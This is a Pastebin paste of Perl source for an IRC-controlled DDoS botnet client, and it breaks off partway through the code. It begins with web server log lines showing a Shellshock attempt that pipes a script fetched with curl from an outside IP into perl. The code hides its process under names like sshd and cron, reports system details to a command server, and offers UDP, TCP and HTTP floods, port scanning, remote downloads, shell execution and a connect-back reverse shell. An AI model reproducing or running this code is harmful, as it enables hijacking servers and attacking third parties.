Advertisement
77660E16DBA9

DDoS Perl IrcBot v1.0 (Public Education Only - Do Not Use)

Oct 28th, 2014
614
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 34.59 KB | None | 0 0
  1. # cat /var/log/nginx/access.log | grep perl
  2. 208.116.58.26 - - [27/Oct/2014:19:15:23 -0400] "GET / HTTP/1.0" 200 7512 "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
  3. 208.116.58.26 - - [27/Oct/2014:19:15:23 -0400] "GET /cgi-bin-sdb/printenv HTTP/1.0" 301 0 "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
  4. 208.116.58.26 - - [27/Oct/2014:19:15:23 -0400] "GET /cgi-mod/index.cgi HTTP/1.0" 301 0 "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
  5. 208.116.58.26 - - [27/Oct/2014:19:15:23 -0400] "GET /cgi-sys/entropysearch.cgi HTTP/1.0" 301 0 "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
  6. 208.116.58.26 - - [27/Oct/2014:19:15:23 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 0 "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl" "() { :; }; curl http://202.143.160.141/lib21/index.cgi | perl"
  7.  
  8. __________________________________________________________________________________________________
  9.  
  10. ######################################################################################################################
  11. ######################################################################################################################
  12. ##  DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team       ## [ Help ] ###########################################
  13. ##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################
  14. ##        Teste on every system with PERL instlled             ##  !u @system                                       ##
  15. ##                                                             ##  !u @version                                      ##
  16. ##     This is a free program used on your own risk.           ##  !u @channel                                      ##
  17. ##        Created for educational purpose only.                ##  !u @flood                                        ##
  18. ## I'm not responsible for the illegal use of this program.    ##  !u @utils                                        ##
  19. ######################################################################################################################
  20. ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
  21. ######################################################################################################################
  22. ##  !u @join <#channel>          ##  !u @udp1 <ip> <port> <time>              ##  !u @cback <ip> <port>             ##
  23. ##  !u @part <#channel>          ##  !u @udp2 <ip> <packet size> <time>       ##  !u @downlod <url+path> <file>     ##
  24. ##  !u !uejoin <#channel>        ##  !u @udp3 <ip> <port> <time>              ##  !u @portscan <ip>                 ##
  25. ##  !u !op <channel> <nick>      ##  !u @tcp <ip> <port> <packet size> <time> ##  !u @mail <subject> <sender>       ##
  26. ##  !u !deop <channel> <nick>    ##  !u @http <site> <time>                   ##           <recipient> <message>    ##
  27. ##  !u !voice <channel> <nick>   ##                                           ##  !u pwd;uname -a;id <for example>  ##
  28. ##  !u !devoice <channel> <nick> ##  !u @ctcpflood <nick>                     ##  !u @port <ip> <port>              ##
  29. ##  !u !nick <newnick>           ##  !u @msgflood <nick>                      ##  !u @dns <ip/host>                 ##
  30. ##  !u !msg <nick>               ##  !u @noticeflood <nick>                   ##                                    ##
  31. ##  !u !quit                     ##                                           ##                                    ##
  32. ##  !u !uaw                      ##                                           ##                                    ##
  33. ##  !u @die                      ##                                           ##                                    ##
  34. ##                               ##                                           ##                                    ##
  35. ######################################################################################################################
  36. ######################################################################################################################
  37.  
  38. #############################
  39. ##### [ Configuration ] #####
  40. #############################
  41.  
  42. my @rps = ("/usr/local/apache/bin/httpd -DSSL", "/usr/sbin/httpd -k start -DSSL", "/usr/sbin/httpd", "/usr/sbin/sshd -i", "/usr/sbin/sshd", "/usr/sbin/sshd -D", "/usr/sbin/apache2 -k start", "/sbin/syslogd", "/sbin/klogd -c 1 -x -x", "/usr/sbin/acpid", "/usr/sbin/cron");
  43. my $process = $rps[rand scalar @rps];  
  44. my $vers = "\001VERSION - unknown command.\001";
  45. my $ircname = "shock";
  46. my $realname = `uname -vr`;
  47. my $nick = "perl";
  48. $server = 'fflyy.su' unless $server;
  49. my $port = '8080';
  50. my $linas_max='10';                  
  51. my $sleep='5';
  52. my $homedir = "/tmp";
  53. my $version = 'DDoS Perl Bot v1.0';
  54. my @admins = ("M","st0n3d","x00","Jorgee");
  55. my @hostauth = ("lolhome");
  56. my @channels = ("#mperl2");
  57. $unamea = `uname -a`;
  58. $uid = `id`;
  59. my $pacotes = 1;
  60.  
  61. #################################################################
  62. ##### [ Stop Editing if you dont know what are you doing. ] #####
  63. #################################################################
  64.  
  65. $SIG{'INT'} = 'IGNORE';
  66. $SIG{'HUP'} = 'IGNORE';
  67. $SIG{'TERM'} = 'IGNORE';
  68. $SIG{'CHLD'} = 'IGNORE';
  69. $SIG{'PS'} = 'IGNORE';
  70.  
  71. use Socket;
  72. use IO::Socket;
  73. use IO::Socket::INET;
  74. use IO::Select;
  75.  
  76. chdir("$homedir");
  77.  
  78. $server="$ARGV[0]" if $ARGV[0];
  79. $0="$process"."\0"x16;;
  80. my $pid=fork;
  81. exit if $pid;
  82. die "Can't fork in background: $!" unless defined($pid);
  83.  
  84. our %irc_servers;
  85. our %DCC;
  86. my $dcc_sel = new IO::Select->new();
  87. $sel_cliente = IO::Select->new();
  88. sub sendraw {
  89.   if ($#_ == '1') {
  90.     my $socket = $_[0];
  91.     print $socket "$_[1]\n";
  92.   } else {
  93.     print $IRC_cur_socket "$_[0]\n";
  94.   }
  95. }
  96.  
  97. sub getstore ($$)
  98. {
  99.   my $url = shift;
  100.   my $file = shift;
  101.   $http_stream_out = 1;
  102.   open(GET_OUTFILE, "> $file");
  103.   %http_loop_check = ();
  104.   _get($url);
  105.   close GET_OUTFILE;
  106.   return $main::http_get_result;
  107. }
  108.  
  109. sub _get
  110. {
  111.   my $url = shift;
  112.   my $proxy = "";
  113.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  114.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  115.     my $host = $1;
  116.     my $port = $2 || 80;
  117.     my $path = $3;
  118.     $path = "/" unless defined($path);
  119.     return _trivial_http_get($host, $port, $path);
  120.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  121.     my $host = $1;
  122.     my $port = $2;
  123.     my $path = $url;
  124.     return _trivial_http_get($host, $port, $path);
  125.   } else {
  126.     return undef;
  127.   }
  128. }
  129.  
  130.  
  131. sub _trivial_http_get
  132. {
  133.   my($host, $port, $path) = @_;
  134.   my($AGENT, $VERSION, $p);
  135.   $AGENT = "get-minimal";
  136.   $VERSION = "20000118";
  137.   $path =~ s/ /%20/g;
  138.  
  139.   require IO::Socket;
  140.   local($^W) = 0;
  141.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  142.                                    PeerPort => $port,
  143.                                    Proto   => 'tcp',
  144.                                    Timeout  => 60) || return;
  145.   $sock->autoflush;
  146.   my $netloc = $host;
  147.   $netloc .= ":$port" if $port != 80;
  148.   my $request = "GET $path HTTP/1.0\015\012"
  149.               . "Host: $netloc\015\012"
  150.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  151.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  152.   $request .= "\015\012";
  153.   print $sock $request;
  154.  
  155.   my $buf = "";
  156.   my $n;
  157.   my $b1 = "";
  158.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  159.     if ($b1 eq "") {
  160.       $b1 = $buf;
  161.       $buf =~ s/.+?\015?\012\015?\012//s;
  162.     }
  163.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  164.   }
  165.   return undef unless defined($n);
  166.   $main::http_get_result = 200;
  167.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  168.     $main::http_get_result = $1;
  169.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  170.       my $url = $1;
  171.       return undef if $http_loop_check{$url}++;
  172.       return _get($url);
  173.     }
  174.     return undef unless $main::http_get_result =~ /^2/;
  175.   }
  176.  
  177.   return $buf;
  178. }
  179.  
  180. sub conectar {
  181.   my $meunick = $_[0];
  182.   my $server_con = $_[1];
  183.   my $port_con = $_[2];
  184.   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  185.   PeerPort=>$port_con) or return(1);
  186.   if (defined($IRC_socket)) {
  187.     $IRC_cur_socket = $IRC_socket;
  188.     $IRC_socket->autoflush(1);
  189.     $sel_cliente->add($IRC_socket);
  190.     $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  191.     $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  192.     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  193.     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  194.     nick("$meunick");
  195.     sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  196.     sleep 1;
  197.   }
  198. }
  199.  
  200. my $line_temp;
  201. while( 1 ) {
  202.   while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  203.   delete($irc_servers{''}) if (defined($irc_servers{''}));
  204.   my @ready = $sel_cliente->can_read(0);
  205.   next unless(@ready);
  206.   foreach $fh (@ready) {
  207.     $IRC_cur_socket = $fh;
  208.     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  209.     $nread = sysread($fh, $msg, 4096);
  210.     if ($nread == 0) {
  211.       $sel_cliente->remove($fh);
  212.       $fh->close;
  213.       delete($irc_servers{$fh});
  214.     }
  215.     @lines = split (/\n/, $msg);
  216.     for(my $c=0; $c<= $#lines; $c++) {
  217.       $line = $lines[$c];
  218.       $line=$line_temp.$line if ($line_temp);
  219.       $line_temp='';
  220.       $line =~ s/\r$//;
  221.       unless ($c == $#lines) {
  222.         parse("$line");
  223.         } else {
  224.         if ($#lines == 0) {
  225.           parse("$line");
  226.           } elsif ($lines[$c] =~ /\r$/) {
  227.           parse("$line");
  228.           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  229.           parse("$line");
  230.         } else {
  231.       $line_temp = $line;
  232.         }
  233.       }
  234.     }
  235.   }
  236. }
  237.  
  238. sub parse {
  239.   my $servarg = shift;
  240.   if ($servarg =~ /^PING \:(.*)/) {
  241.     sendraw("PONG :$1");
  242.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  243.     my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  244.     if ($args =~ /^\001VERSION\001$/) {
  245.  
  246.     }
  247.         if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  248.     if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
  249.     if ($onde eq "$meunick"){
  250.     shell("$pn", "$args");
  251.   }
  252.   if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
  253.     my $natrix = $1;
  254.     my $arg = $2;
  255.     if ($arg =~ /^\!(.*)/) {
  256.       ircase("$pn","$onde","$1");
  257.       } elsif ($arg =~ /^\@(.*)/) {
  258.       $ondep = $onde;
  259.       $ondep = $pn if $onde eq $meunick;
  260.       bfunc("$ondep","$1");
  261.       } else {
  262.       shell("$onde", "$arg");
  263.     }
  264.   }
  265. }
  266. }
  267. }
  268.  
  269. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  270.   if (lc($1) eq lc($meunick)) {
  271.   $meunick=$4;
  272.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  273.   }
  274.   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  275.   nick("$meunick|".int rand((8999999999)+1000000000));
  276.   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  277.   $meunick = $2;
  278.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  279.   $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  280.   foreach my $canal (@channels) {
  281.         sendraw("MODE $nick +x");
  282.     sendraw("JOIN $canal");
  283.         sendraw("PRIVMSG $canal :$unamea");
  284.         sendraw("PRIVMSG $canal :$uid");
  285. }
  286. }
  287. }
  288.  
  289. sub bfunc {
  290. my $printl = $_[0];
  291. my $funcarg = $_[1];
  292.   if (my $pid = fork) {
  293.   waitpid($pid, 0);
  294.   } else {
  295.   if (fork) {
  296.   exit;
  297.   } else {
  298. ###########################
  299. ##### [ Help Module ] #####
  300. ###########################
  301.  
  302. if ($funcarg =~ /^help/) {
  303.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  304.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help:  ");
  305.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  306.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system              ");
  307.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version             ");
  308.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel             ");
  309.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood               ");
  310.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils               ");
  311.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  312. }
  313.  
  314. if ($funcarg =~ /^system/) {
  315.         $uptime=`uptime`;
  316.         $ownd=`pwd`;
  317.         $id=`id`;
  318.         $uname=`uname -srp`;
  319.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  320.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration:  ");
  321.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  322.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server       : 12$server ");
  323.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port         : 12$port ");
  324.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels     : 12@channels ");
  325.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a     : 12$uname ");
  326.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime       : 12$uptime ");
  327.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess  : 12$process ");
  328.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID   : 12$$ ");
  329.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID           : 12$id ");
  330.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir      : 12$ownd ");
  331.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  332. }
  333.  
  334. if ($funcarg =~ /^version/){
  335.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  336.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations:                  ");
  337.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  338.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version   ");
  339.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS             ");
  340.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year    : 122012                ");
  341.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  342. }
  343.  
  344. if ($funcarg =~ /^flood/) {
  345.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  346.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: ");
  347.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  348.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time>               ");
  349.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time>        ");
  350.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time>               ");
  351.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time>  ");
  352.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time>                    ");
  353.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick>                      ");
  354.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick>                       ");
  355.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick>                    ");
  356.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  357. }
  358.  
  359. if ($funcarg =~ /^channel/) {
  360.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  361.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help:     ");
  362.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  363.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel>            ");
  364.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel>            ");
  365.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel>          ");
  366.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick>       ");
  367.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick>     ");
  368.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick>    ");
  369.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick>  ");
  370.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick>            ");
  371.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick>                ");
  372.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit                      ");
  373.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die                       ");
  374.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  375. }
  376.  
  377. if ($funcarg =~ /^utils/) {
  378.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  379.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Utils Help:                            ");
  380.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  381.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port>                              ");
  382.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file>                     ");
  383.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message>  ");
  384.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip>                                       ");
  385.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port>                               ");
  386.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip>                                  ");
  387.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example)                               ");
  388.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  389. }
  390.  
  391. #########################
  392. ##### [ Functions ] #####
  393. #########################
  394.  
  395. if ($funcarg =~ /^die/) {
  396.         sendraw($IRC_cur_socket, "QUIT :");
  397.         $killd = "kill -9 ".fork;
  398.         system (`$killd`);
  399. }
  400. ###########
  401. if ($funcarg =~ /^join (.*)/) {
  402.         sendraw($IRC_cur_socket, "JOIN ".$1);
  403. }
  404.  
  405. if ($funcarg =~ /^part (.*)/) {
  406.         sendraw($IRC_cur_socket, "PART ".$1);
  407. }
  408. ###########
  409. if ($funcarg =~ /^portscan (.*)/) {
  410.   my $hostip="$1";
  411.   my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  412.   my (@aberta, %porta_banner);
  413.   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
  414.   foreach my $porta (@portas)  {
  415.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  416.     if ($scansock) {
  417.       push (@aberta, $porta);
  418.       $scansock->close;
  419.     }
  420.   }
  421.   if (@aberta) {
  422.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
  423.     } else {
  424.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
  425.   }
  426. }
  427. ##############
  428. if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  429.         getstore("$1", "$2");
  430.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
  431. }
  432. ##############
  433. if ($funcarg =~ /^dns\s+(.*)/){
  434.         my $nsku = $1;
  435.         $mydns = inet_ntoa(inet_aton($nsku));
  436.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
  437. }
  438. ##############
  439. if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
  440.         my $hostip= "$1";
  441.         my $portsc= "$2";
  442.         my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  443.         if ($scansock) {
  444.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
  445.         }
  446.         else {
  447.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
  448.         }
  449. }
  450. ##############
  451. if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
  452.     return unless $pacotes;
  453.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  454.     my $alvo=inet_aton("$1");
  455.     my $porta = "$2";
  456.     my $dtime = "$3";
  457.     my $pacote;
  458.     my $pacotese;
  459.         my $size = 0;
  460.     my $fim = time + $dtime;
  461.     my $pacota = 1;
  462.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  463.         while (($pacota == "1") && ($pacotes == "1")) {
  464.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  465.             $pacote = $size ? $size : int(rand(1024-64)+64) ;
  466.             $porta = int(rand 65000) +1 if ($porta == "0");
  467.             #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
  468.             send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
  469.             }
  470.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
  471. }
  472. ##############
  473. if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
  474.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
  475.         my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  476.         $dtime = 1 if $dtime == 0;
  477.         my %bytes;
  478.         $bytes{igmp} = $2 * $pacotes{igmp};
  479.         $bytes{icmp} = $2 * $pacotes{icmp};
  480.         $bytes{o} = $2 * $pacotes{o};
  481.         $bytes{udp} = $2 * $pacotes{udp};
  482.         $bytes{tcp} = $2 * $pacotes{tcp};
  483.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  484. }
  485. ##############
  486. if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
  487.     return unless $pacotes;
  488.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  489.     my $alvo=inet_aton("$1");
  490.     my $porta = "$2";
  491.     my $dtime = "$3";
  492.     my $pacote;
  493.     my $pacotese;
  494.     my $fim = time + $dtime;
  495.     my $pacota = 1;
  496.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  497.         while (($pacota == "1") && ($pacotes == "1")) {
  498.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  499.             $pacote= $rand x $rand x $rand;
  500.             $porta = int(rand 65000) +1 if ($porta == "0");
  501.             send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  502.             }
  503.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  504. }
  505. ##############
  506.  
  507. ##############
  508. if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
  509.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
  510.         my $itime = time;
  511.         my ($cur_time);
  512.         $cur_time = time - $itime;
  513.         while ($3>$cur_time){
  514.         $cur_time = time - $itime;
  515.         &tcpflooder("$1","$2","$3");
  516. }
  517.         sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
  518. }
  519. ##############
  520. if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
  521.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
  522.         my $itime = time;
  523.         my ($cur_time);
  524.         $cur_time = time - $itime;
  525.         while ($2>$cur_time){
  526.         $cur_time = time - $itime;
  527.         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  528.         print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  529.         close($socket);
  530. }
  531.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. ");
  532. }
  533. ##############
  534. if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
  535.         my $host = "$1";
  536.         my $port = "$2";
  537.         my $proto = getprotobyname('tcp');
  538.         my $iaddr = inet_aton($host);
  539.         my $paddr = sockaddr_in($port, $iaddr);
  540.         my $shell = "/bin/sh -i";
  541. if ($^O eq "MSWin32") {
  542.         $shell = "cmd.exe";
  543. }
  544.         sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
  545.         socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
